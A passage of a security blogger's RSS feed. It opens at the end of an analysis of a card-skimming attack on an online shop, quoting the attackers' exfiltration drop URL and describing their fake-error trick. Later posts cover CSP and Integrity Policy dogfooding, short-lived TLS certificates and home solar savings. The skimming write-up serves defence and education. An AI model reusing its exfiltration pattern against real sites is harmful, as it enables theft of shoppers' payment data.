    	}</code></pre><p></p><p>The attackers are grabbing everything on the page, including name, address, country, full card number, security code, expiry date. Everything. They&apos;re then exfiltrating that data to a drop server located here:</p><pre><code>https://esaspaceshop.pics/redirect-non-site.php?datasend=</code></pre><p></p><p>Finally, just to improve the effectiveness of their attack, they&apos;re showing an error message to the user that says <code>Card number is incomplete, please try again</code>, so the user is likely to double check all of their details are right, and then hit the payment button again, sending a second copy of their information, and the attacker can now definitely confirm they have all of the correct details...</p><p></p><h4 id="where-we-could-have-stopped-this-attack">Where we could have stopped this attack</h4><p>In scenarios like these, the first thing that often gets suggested to me is that if the website didn&apos;t have the vulnerability that allowed the bootstrap to be injected, then none of this would have happened. In fairness, I agree. If none of us ever have a vulnerability, then none of us would ever get hacked! In reality, of course, that&apos;s a completely impractical approach.</p><p>We have to accept that, at some point, things are going to go wrong. This is the very reason that the concept of <a href="https://en.wikipedia.org/wiki/Defence_in_depth_(non-military)?ref=scotthelme.ghost.io" rel="noreferrer">Defence In Depth</a> even exists. I&apos;m not saying that solutions like Report URI are the primary line of defence against attacks like these, we&apos;re not, and we shouldn&apos;t be. What I&apos;m saying is that we form part of a necessary Defence In Depth strategy if you want effective protection on the modern Web. The primary line of defence against the above attack was whatever strategy they had that failed. It could have been a malicious code commit by a staff member, a compromise of a server that gave the attackers access, traditional XSS, a dependency that let them down, or a whole bunch of other stuff, but something, somewhere, obviously went wrong. </p><p>Looking at the various ways that Report URI could have detected and stopped this attack, we have a few to choose from. It could have been the prevention of the initial inline script bootstrap even running, by blocking the execution of inline scripts. We could have detected and prevented the addition of the new JS dependency that was then loaded from the <code>esaspaceshop.pics</code> domain. After that, there was the opportunity to detect and prevent the exfiltration of data to the same domain, even though it was using the image loading trick to try and look innocuous. The great thing about our solution is that we run in the browser alongside your visitor which is, quite literally, the last possible step before harm occurs. It does not matter where or how the initial breach occurred, it occurred before we arrived on the scene, which means we can see it. Nothing comes after us, everything comes before us, we&apos;re the ideal last line of defence. </p><p></p><h4 id="esaspaceshoppics">esaspaceshop.pics</h4><p>The attackers registered a lookalike domain for this attack, as they have done in countless attacks before. This is another method to avoid detection because this domain looks and feels familiar if anyone were to be poking around behind the scenes and come across it. Incidentally, if we observe our customers interacting with domains that have been registered in recent weeks or months, it is so often an enormous red flag and something that warrants immediate investigation.</p><p>Because this was a &apos;throwaway&apos; domain for the attackers that&apos;s only useful in this particular attack, they don&apos;t tend to renew them and it lapsed only 12 months after it was first registered, allowing us to scoop up the domain and repurpose it to point to the ESA case study on the Report URI site. </p><p>You can test it out here: <a href="https://esaspaceshop.pics/?ref=scotthelme.ghost.io" rel="noreferrer">https://esaspaceshop.pics</a> </p><p>In related news, we also own the domain used in the Ticketmaster Magecart Attack, <code>webfotce.me</code>, which you can test here <a href="https://webfotce.me/?ref=scotthelme.ghost.io" rel="noreferrer">https://webfotce.me/</a></p><p></p><p>The purpose of those case studies, or blog posts like these, is not to point fingers, but to share information and educate. Alongside the obvious harm to users having their data stolen, organisations then have concerns around notifying customers of the data breach, regulatory action and possible fines for the data breach in various jurisdictions, a whole bunch of bad news headlines and maybe some consideration for the harm to the brand too. All of this can be avoided by understanding just how pervasive these type of attacks can be, but also, just how easy it can be to get started on solving the problem. If you want to see just how easy, reach out for a demo of <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> along with a free trial, no commitment, and no strings attached: [email protected]</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us]]></title>
                <description><![CDATA[<p>Dogfooding is often talked about as a best practice, but I don&apos;t often see the results of such activities. For all new features introduced on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we are always the first to try them out and see how they work. In this post, we&apos;ll look</p>]]></description>
                <link>https://scotthelme.ghost.io/eating-our-own-dogfood-what-running-report-uri-on-report-uri-taught-us/</link>
                <guid isPermaLink="false">69638d1da2de7d0001fa2bb3</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Content Security Policy]]></category>
                <category><![CDATA[Integrity Policy]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 28 Jan 2026 09:36:48 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2026/01/dogfooding.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/dogfooding.webp" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us"><p>Dogfooding is often talked about as a best practice, but I don&apos;t often see the results of such activities. For all new features introduced on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we are always the first to try them out and see how they work. In this post, we&apos;ll look at a few examples of issues that we found on Report URI using Report URI, and how you can use our platform to identify exactly the same kind of problems!</p><p></p><h4 id="dogfooding">Dogfooding</h4><p>If you&apos;re not familiar with the term dogfooding, or &apos;eating your own dogfood&apos;, here&apos;s how the Oxford English Dictionary defines it:</p><p></p><blockquote>Computing slang<br>Of a company or its employees: to use a product or service developed by the company, as a means of testing it before it is made available to customers.</blockquote><p></p><p>It&apos;s pretty straightforward and something that we&apos;ve been doing quite literally since the dawn of Report URI over a decade ago. Any new feature that we introduce gets deployed on Report URI first of all, prompting changes, improvements or fixes as required. Once things are going well, we then introduce a small selection of our customers to participate in a closed beta, again to elicit feedback for the same improvement cycle. After that, the feature will go to an open beta, and finally on to general availability. We currently have two features in the final open beta stages of this process, <a href="https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> and <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a>, and it was during the dogfooding stage of these features that some of things we&apos;re doing to discuss were found.</p><p></p><h4 id="integrity-policyfinding-scripts-missing-sri-protection">Integrity Policy - finding scripts missing SRI protection</h4><p>If you&apos;re not familiar with Subresource Integrity (SRI), you can read my blog post on <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity: Securing CDN loaded assets</a>, but here&apos;s is a quick explainer. When loading a script tag, especially from a 3rd-party, we have no control over the script we get served, and that can lead to some pretty big problems if the script is modified in a malicious way. </p><p>SRI allows you to specify an integrity attribute on a script tag so that the browser can verify the file once it downloads it, protecting against malicious modification. Here&apos;s a simple example of a before and after for a script tag without SRI and then with SRI.</p><pre><code>//before
    &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&quot;&gt;
    &lt;/script&gt;
    
    //after
    &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&quot; 
    integrity=&quot;sha256-ivk71nXhz9nsyFDoYoGf2sbjrR9ddh+XDkCcfZxjvcM=&quot; 
    crossorigin=&quot;anonymous&quot;&gt;
    &lt;/script&gt;</code></pre><p></p><p>There have been literally countless examples where SRI would have saved organisations from costly attacks and data breaches, including that time when <a href="https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/?ref=scotthelme.ghost.io" rel="noreferrer">governments all around the World got hacked</a> because they didn&apos;t use it. That said, it can be difficult to enforce the use of SRI and make sure all of your script tags have it, until <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a> came along. You can now trivially ensure that all scripts across your application are loaded using SRI by adding a simple HTTP Response Header.</p><pre><code>Integrity-Policy-Report-Only: blocked-destinations=(script), endpoints=(default)</code></pre><p></p><p>This will ask the browser to send a report for any script that is loaded without using SRI, and then, of course, we can go and fix that!</p><p>Here&apos;s a couple that we&apos;d missed. First, we had this one come through.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-16.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1742" height="100" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-16.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-16.png 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2026/01/image-16.png 1600w, https://scotthelme.ghost.io/content/images/2026/01/image-16.png 1742w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is interesting because it really should have SRI as something in the account section, and it turns out it almost did, but there was a typo!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-15.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1449" height="243" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-15.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-15.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-15.png 1449w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s an easy fix, and we found another script without SRI a little later too.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-13.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1225" height="375" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-13.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-13.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-13.png 1225w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This script was in our staff admin section and it was missing SRI, it was reported, and we fixed it!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-14.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1447" height="147" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-14.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-14.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-14.png 1447w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Another great thing to consider about this is that you will only receive telemetry reports when there&apos;s a problem. If everything is running as it should be on your site, then no telemetry will be sent!</p><p></p><h4 id="content-security-policyfinding-assets-that-shouldnt-be-there">Content Security Policy - finding assets that shouldn&apos;t be there</h4><p>The whole point of CSP is to get visibility into what&apos;s happening on your site, and that can be what assets are loading, where data is being communicated, and much more. Often, we&apos;re looking for indicators of malicious activity, like JavaScript that shouldn&apos;t be present, or data being somewhere it shouldn&apos;t be. But, sometimes, we can also detect mistakes that were made during development!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-18.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1495" height="163" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-18.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-18.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-18.png 1495w" sizes="(min-width: 720px) 720px"></figure><p></p><p>We started getting reports for these images loading on our site and because they&apos;re not from an approved source, they were blocked and reported to us. Looking closely, the images are from our <code>.io</code> domain instead of our <code>.com</code> domain, which is what we use in test/dev environments, but not in production. It seems that someone had inadvertently hardcoded a hostname that they should not have hardcoded and our CSP let us know!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-17.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1452" height="103" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-17.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-17.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-17.png 1452w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Another simple fix for an issue detected quickly and easily using CSP.</p><p></p><h4 id="but-normally-we-dont-find-anything">But normally we don&apos;t find anything!</h4><p>Of course, you&apos;re only ever going to find a problem by deploying our product if you had a problem to find in the first place. Our goal is always to test these features out and make sure they&apos;re ready for our customers, but sometimes, we do happen to find issues in our own site.</p><p>I guess that&apos;s really part of the value proposition though, the difference between <em>thinking</em> you don&apos;t have a problem and <em>knowing</em> you don&apos;t have a problem. Whether or not we&apos;d found anything by deploying these features, we&apos;d have still massively improved our awareness because we could then be confident we didn&apos;t have those issues. </p><p>It just so happens that we didn&apos;t think we had any problems, but it turns out we did! Do you think you don&apos;t have any problems on your site?</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Blink and you'll miss them: 6-day certificates are here!]]></title>
                <description><![CDATA[<p>What a great way to start 2026! Let&apos;s Encrypt have now made their short-lived certificates <a href="https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, so you can go and start using them right away.</p><p>It wasn&apos;t long ago when the <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a> came that by 2029, all certificates will be reduced to a maximum of</p>]]></description>
                <link>https://scotthelme.ghost.io/blink-and-youll-miss-them-6-day-certificates-are-here/</link>
                <guid isPermaLink="false">694688d8ab4aac00016ee79e</guid>
                <category><![CDATA[Let's Encrypt]]></category>
                <category><![CDATA[Google Trust Services]]></category>
                <category><![CDATA[TLS]]></category>
                <category><![CDATA[Short-Lived Certificates]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 19 Jan 2026 10:48:24 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2026/01/6-day-certs.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/6-day-certs.webp" alt="Blink and you&apos;ll miss them: 6-day certificates are here!"><p>What a great way to start 2026! Let&apos;s Encrypt have now made their short-lived certificates <a href="https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, so you can go and start using them right away.</p><p>It wasn&apos;t long ago when the <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a> came that by 2029, all certificates will be reduced to a maximum of 47 days validity, and here we are already talking about certificates valid for less than 7 days. Let&apos;s Encrypt continue to drive the industry forwards and considerably exceed the reasonable expectations of today.</p><p></p><h4 id="getting-a-short-lived-certificate">Getting a short-lived certificate</h4><p>Of course, what you want to know is how to get one of these certificates! How you do this will change slightly depending on which tool you&apos;re using, but you need to specify the <code>shortlived</code> certificate profile when requesting your certificate from Let&apos;s Encrypt.</p><p>I&apos;m using <a href="https://acme.sh/?ref=scotthelme.ghost.io" rel="noreferrer">acme.sh</a> and here is the command I used to get one of these certs when I started playing with this last year:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --force --keylength ec-256 --server letsencrypt --cert-profile shortlived</code></pre><p></p><p>After the certificate was issued, I got my notification from Certificate Transparency monitoring via <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, and I could see the full details of the certificate. Here they are:</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image.png" class="kg-image" alt="Blink and you&apos;ll miss them: 6-day certificates are here!" loading="lazy" width="870" height="555" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image.png 870w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just look at that validity period!!</p><p><strong>Valid From</strong>: 15 Nov 2025<br><strong>Valid To</strong>: 22 Nov 2025</p><p>You can find the full details on the <code>shortlived</code> certificate profile from Let&apos;s Encrypt, and other supported profiles, on <a href="https://letsencrypt.org/docs/profiles/?ref=scotthelme.ghost.io#shortlived" rel="noreferrer">this page</a>. </p><p></p><h4 id="its-not-just-lets-encrypt">It&apos;s not just Let&apos;s Encrypt</h4><p>The good news is that Let&apos;s Encrypt isn&apos;t the only place that you can get your 6-day certificates from either! <a href="https://scotthelme.co.uk/another-free-ca-to-use-via-acme/?ref=scotthelme.co.uk" rel="noreferrer">Google Trust Services</a> also allows you to obtain short-lived certificates, and they have a little more flexibility in that you can request a specific number of days too. Maybe you want 6 days, 12 days, 33 days... Just specify your desired validity period in the request with your ACME client:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to &apos;+6d&apos;</code></pre><p></p><p>That&apos;s another source of 6-day certificates for you, but it did get me wondering.</p><p></p><h4 id="how-low-can-you-go">How low can you go?..</h4><p>Well, fellow certificate nerds, you read my mind!</p><p>The Let&apos;s Encrypt <code>shortlived</code> profile doesn&apos;t allow for configurable validity periods, none of their profiles do, but GTS does allow for configuration of the validity period... &#x1F60E;</p><pre><code>acme.sh --issue --dns dns_cf -d one.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to &apos;+1d&apos;</code></pre><p></p><p>Yes, that command does work, and yes you do get a <strong>ONE-DAY CERTIFICATE</strong>!!</p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-1.png" class="kg-image" alt="Blink and you&apos;ll miss them: 6-day certificates are here!" loading="lazy" width="936" height="608" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-1.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-1.png 936w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just to prove that this really is a thing, here&apos;s the PEM encoded certificate!</p><pre><code>-----BEGIN CERTIFICATE-----
    MIIDdTCCAl2gAwIBAgIQAzk1h8YknV4TAJJazYXsrjANBgkqhkiG9w0BAQsFADA7
    MQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMQww
    CgYDVQQDEwNXUjEwHhcNMjUxMjE3MjEzNjE1WhcNMjUxMjE4MjIzNjExWjAfMR0w
    GwYDVQQDExRvbmUuc2NvdHRoZWxtZS5jby51azBZMBMGByqGSM49AgEGCCqGSM49
    AwEHA0IABN77LaCQqPHQ1Qx4CsEyiEVARRV5WP+qH9ZyLfO9GzJ+tLfDxROHvYPL
    YNaCgEiGBbkTOOPOX9qXJPz/g/2AQRejggFaMIIBVjAOBgNVHQ8BAf8EBAMCB4Aw
    EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUPnLq
    WpoXyBO+jzNGlH1qUr6SYHkwHwYDVR0jBBgwFoAUZmlJ1N4qnJEDz4kOJLgOMANu
    iC4wXgYIKwYBBQUHAQEEUjBQMCcGCCsGAQUFBzABhhtodHRwOi8vby5wa2kuZ29v
    Zy9zL3dyMS9BemswJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMS5j
    cnQwHwYDVR0RBBgwFoIUb25lLnNjb3R0aGVsbWUuY28udWswEwYDVR0gBAwwCjAI
    BgZngQwBAgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3Ix
    L0FwMDR2SjA1Q3lBLmNybDATBgorBgEEAdZ5AgQDAQH/BAIFADANBgkqhkiG9w0B
    AQsFAAOCAQEAMsMT7AsLtQqzm0FSsDBq33M9/FAz+Su86NQurk8MXXrSjUrdSKhh
    zTv2whJcC0W3aPhoqMeeqpsLYQ4AiLgBS2LPoJz2HuFsIfOddrpI3lOHXssT2Wpc
    MjofbwEOfkDk+jV/rqbz1q+cjbM2VGfoxILgcA7KxVZX0ylvZf52c2zpA9v+sXKu
    pPFKHHDX2UNSfsPODmWLVWdfFk/ZFbr09urei8ZgdsJhRKABD9BW3aV8QP2dMISh
    OH6fWcJXrp/w1NjJqIKidMiMgaCe5TDb+j5gOJ+ZLVcKA4WdLtcVYpQIXiT8mIeO
    rCYNVSkFN4ZIONedfENemM5GgBqcqbpxMA==
    -----END CERTIFICATE-----</code></pre><p></p><h4 id="automation-is-king">Automation is King</h4><p>The great thing about this, and I&apos;ve been using these certs for weeks now, is that once you&apos;re using an ACME client, you&apos;re already automated, and once you&apos;re automated, the validity period really isn&apos;t relevant any more. I&apos;m currently sticking with the 6-day certs, and I will alternate between Let&apos;s Encrypt and Google Trust Services, but running these automations more frequently to go from 90 days down to 6 days really doesn&apos;t change anything at all, so give it a try!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[What a Year of Solar and Batteries Really Saved Us in 2025]]></title>
                <description><![CDATA[<p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with</p>]]></description>
                <link>https://scotthelme.ghost.io/what-a-year-of-solar-and-batteries-really-saved-us-in-2025/</link>
                <guid isPermaLink="false">6962376aa2de7d0001fa2a36</guid>
                <category><![CDATA[Tesla Powerwall]]></category>
                <category><![CDATA[Solar Power]]></category>
                <category><![CDATA[Octopus Energy]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 13 Jan 2026 11:24:31 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2026/01/2025-energy.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/2025-energy.webp" alt="What a Year of Solar and Batteries Really Saved Us in 2025"><p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with our objectives, how much money we&apos;ve saved!</p><p></p><h4 id="our-setup">Our setup</h4><p>Just to give a quick overview of what we&apos;re working with, here are the details on our solar, battery and tariff situation:</p><ul><li>&#x2600;&#xFE0F;Solar Panels: We have 14x Perlight solar panels managed by Enphase that make up the 4.2kWp array on our roof, and they produce energy when the sun shines, which isn&apos;t as often as I&apos;d like in the UK!</li><li>&#x1F50B;Tesla Powerwalls: We have 3x Tesla Powerwall 2 in our garage that were purchased to help us load-shift our energy usage. Electricity is very expensive in the UK and moving from peak usage which is 05:30 to 23:30 at ~&#xA3;0.28/kWh, to off-peak usage, which is 23:30 - 05:30 at ~&#xA3;0.07/kWh, is a significant cost saving.</li><li>&#x1F4A1;Smart Tariff: My wife and I both drive electric cars and our electricity provider, Octopus Energy, has a Smart Charging tariff. If we plug in one of our cars, and cheap electricity is available, they will activate the charger and allow us to use the off-peak rate, even at peak times.</li></ul><p></p><p>Now that we have some basic info, let&apos;s get into the details!</p><p></p><h4 id="grid-import">Grid Import</h4><p>I have 3 sources of data for our grid import, and all of them align pretty well in terms of their measurements. I have the amount our electricity supplier charged us for, I have my own CT Clamp going via a Shelly EM that feeds in to Home Assistant, and I have the Tesla Gateway which controls all grid import into our home.</p><p>Starting with my Home Assistant data, these are the relevant readings. </p><p>Jan 1st 2025 - 15,106.10 kWh<br>Dec 31st 2025 - 36,680.90 kWh<br>Total: 21,574.80 kWh<br><strong>Total Import: 21.6 MWh</strong></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-3.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1138" height="503" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-3.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-3.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-3.png 1138w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As you can see in the graph, during the summer months we have slightly lower grid usage and the graph line climbs at a lower rate, but overall, we have pretty consistent usage. Looking at what our energy supplier charged, us for, that comes in slightly lower.</p><p><strong>Total Import: 20.1 MWh</strong></p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-8.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="997" height="577" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-8.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-8.png 997w" sizes="(min-width: 720px) 720px"></figure><p></p><p>I&apos;m going to use the figure provided by our energy supplier in my calculations because their equipment is likely more accurate than mine, and also, what they&apos;re charging me is the ultimate thing that matters. The final source is our Tesla Gateway, which shows us having imported 21.0 MWh.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-11.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1290" height="1568" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-11.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-11.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-11.png 1290w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It&apos;s great to see how all of these sources of data align so poorly! &#x1F605;</p><h4 id="grid-export">Grid Export</h4><p>Looking at our export, the graph tells a slightly different story because, as you can see, we didn&apos;t really start exporting properly until June, when our export tariff was activated. Prior to June, it simply wasn&apos;t worth exporting as we were only getting &#xA3;0.04/kWh but at the end of May, our export tariff went live and we were then getting paid &#xA3;0.15/kWh for export. My <a href="https://scotthelme.co.uk/automation-improvements-after-a-tesla-powerwall-outage/?ref=scotthelme.ghost.io" rel="noreferrer">first</a> and <a href="https://scotthelme.co.uk/v2-hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io" rel="noreferrer">second</a> blog posts cover the full details of this change when it happened if you&apos;d like to read them but for now, just note that it will change the calculations a little later as we only had export for 60% of the year.</p><p><strong>Total Export: 6.0 MWh</strong></p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-9.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="989" height="582" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-9.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-9.png 989w" sizes="(min-width: 720px) 720px"></figure><p></p><p>With our grid export covered the final piece of the puzzle is to look at our solar.</p><p></p><h4 id="solar-production">Solar Production</h4><p>We&apos;re really not in the best part of the world for generating solar power, but we&apos;ve still managed to produce quite a bit of power. Even in the most ideal, perfect scenario, our solar array can only generate 4.2kW of power, and we&apos;re definitely never getting near that. Our peak production was 2.841kW on 8th July at 13:00, and you can see our full annual production graph here. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-12.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1582" height="513" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-12.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-12.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-12.png 1582w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the total energy production for the entire array, you can see it pick up through the sunnier months but remain quite flat during the darker days of the year.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-2.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1132" height="504" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-2.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-2.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-2.png 1132w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Jan 1st 2025 - 2.709 MWh<br>Dec 31st 2025 - 5.874 MWh<br><strong>Solar Production: 3.2 MWh</strong></p><p></p><p>Just to confirm, I also took a look at the Enphase app, which is drawing it&apos;s data from the same source to be fair, and it agrees with the 3.2 MWh of generation.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-4.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1157" height="560" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-4.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-4.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-4.png 1157w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="calculating-the-savings">Calculating the savings</h4><p>This isn&apos;t exactly straightforward because of the combination of our solar array and excess import/export due to the batteries, but here are the numbers I&apos;m currently working on.</p><p><strong>Total Import: 20.1 MWh<br>Total Export: 6.0 MWh<br>Solar Production: 3.2 MWh</strong></p><p></p><p>That gives us a total household usage of 17.3 MWh.</p><p>(20.1 MWh import + 3.2 MWh solar) &#x2212; 6.0 MWh export = 17.3 MWh usage</p><p>If we didn&apos;t have the solar array providing power, the full 17.3 MWh of consumption would have been chargeable from our provider. If we had only the solar and no battery, assuming a perfect ability to utilise our solar generation, only 14.1 MWh of our usage would need to be imported. The cost of those units of solar generation can be viewed at the peak and off-peak rates as follows.</p><p>Peak rate: 3,200 kWh x &#xA3;0.28/kWh = &#xA3;896<br>Off-peak rate: 3,200 kWh x &#xA3;0.07/kWh = &#xA3;224</p><p>Given that solar panels only produce during peak electricity rates, it would be reasonable to use the higher price here. A consideration for us though is that we do have batteries, and we&apos;re able to load-shift all of our usage into the off-peak rate, so arguably the solar panels only made &#xA3;224 of electricity. </p><p>The bigger savings come when we start to look at the cost of the grid import. Assuming we had no solar panels, we&apos;d have imported 17.3 MWh of electricity, and with the solar panels and perfect utilisation, we&apos;d have imported 14.1 MWh of electricity. That&apos;s quite a lot of electricity and calculating the different costs of peak vs. off-peak by using batteries to load shift our usage gives some 